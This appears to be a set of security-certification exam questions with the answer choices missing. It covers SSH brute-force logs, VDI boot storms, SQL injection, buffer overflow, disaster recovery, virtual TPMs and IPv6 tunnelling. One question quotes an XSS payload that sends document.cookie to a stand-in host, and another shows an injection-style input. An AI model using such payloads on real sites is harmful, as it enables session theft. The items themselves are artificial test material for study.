A security administrator is shown the following log excerpt from a Unix system:
2013 Oct 10 07:14:57 web14 sshd[1632]: Failed password for root from 198.51.100.23 port 37914 ssh2
2013 Oct 10 07:14:57 web14 sshd[1635]: Failed password for root from 198.51.100.23 port 37915 ssh2
2013 Oct 10 07:14:58 web14 sshd[1638]: Failed password for root from 198.51.100.23 port 37916 ssh2
2013 Oct 10 07:15:59 web14 sshd[1640]: Failed password for root from 198.51.100.23 port 37918 ssh22013 Oct 10 07:16:00 web14 sshd[1641]: Failed password for root from 198.51.100.23 port 37920 ssh2
2013 Oct 10 07:16:00 web14 sshd[1642]: Successful login for root from 198.51.100.23 port 37924 ssh2
Which of the following is the MOST likely explanation of what is occurring and the BEST immediate response?
(Select TWO).

At 9:00 am each morning, all of the virtual desktops in a VDI implementation become extremely slow and/or
unresponsive. The outage lasts for around 10 minutes, after which everything runs properly again. The
administrator has traced the problem to a lab of thin clients that are all booted at 9:00 am each morning. Which
of the following is the MOST likely cause of the problem and the BEST solution? (Select TWO).

A security administrator wants to deploy a dedicated storage solution which is inexpensive, can natively
integrate with AD, allows files to be selectively encrypted and is suitable for a small number of users at a
satellite office. Which of the following would BEST meet the requirement?

A government agency considers confidentiality to be of utmost importance and availability issues to be of least
importance. Knowing this, which of the following correctly orders various vulnerabilities in the order of MOST
important to LEAST important?

select id, firstname, lastname from authors
User input= firstname= Hack;man
lastname=Johnson
Which of the following types of attacks is the user attempting?

An application present on the majority of an organization’s 1,000 systems is vulnerable to a buffer overflow
attack. Which of the following is the MOST comprehensive way to resolve the issue?

An organization is concerned with potential data loss in the event of a disaster, and created a backup
datacenter as a mitigation strategy. The current storage method is a single NAS used by all servers in bothdatacenters. Which of the following options increases data availability in the event of a datacenter failure?

A popular commercial virtualization platform allows for the creation of virtual hardware. To virtual machines, this
virtual hardware is indistinguishable from real hardware. By implementing virtualized TPMs, which of the
following trusted system concepts can be implemented?

A security administrator notices the following line in a server’s security log:
<input name=’credentials’ type=’TEXT’ value='” + request.getParameter(‘><script>document.location=’http://
badsite.com/?q=’document.cookie</script>’) + “‘;
The administrator is concerned that it will take the developer a lot of time to fix the application that is running on
the server. Which of the following should the security administrator implement to prevent this particular attack?

A security administrator was doing a packet capture and noticed a system communicating with an unauthorized
address within the 2001::/32 prefix. The network administrator confirms there is no IPv6 routing into or out of
the network. Which of the following is the BEST course of action?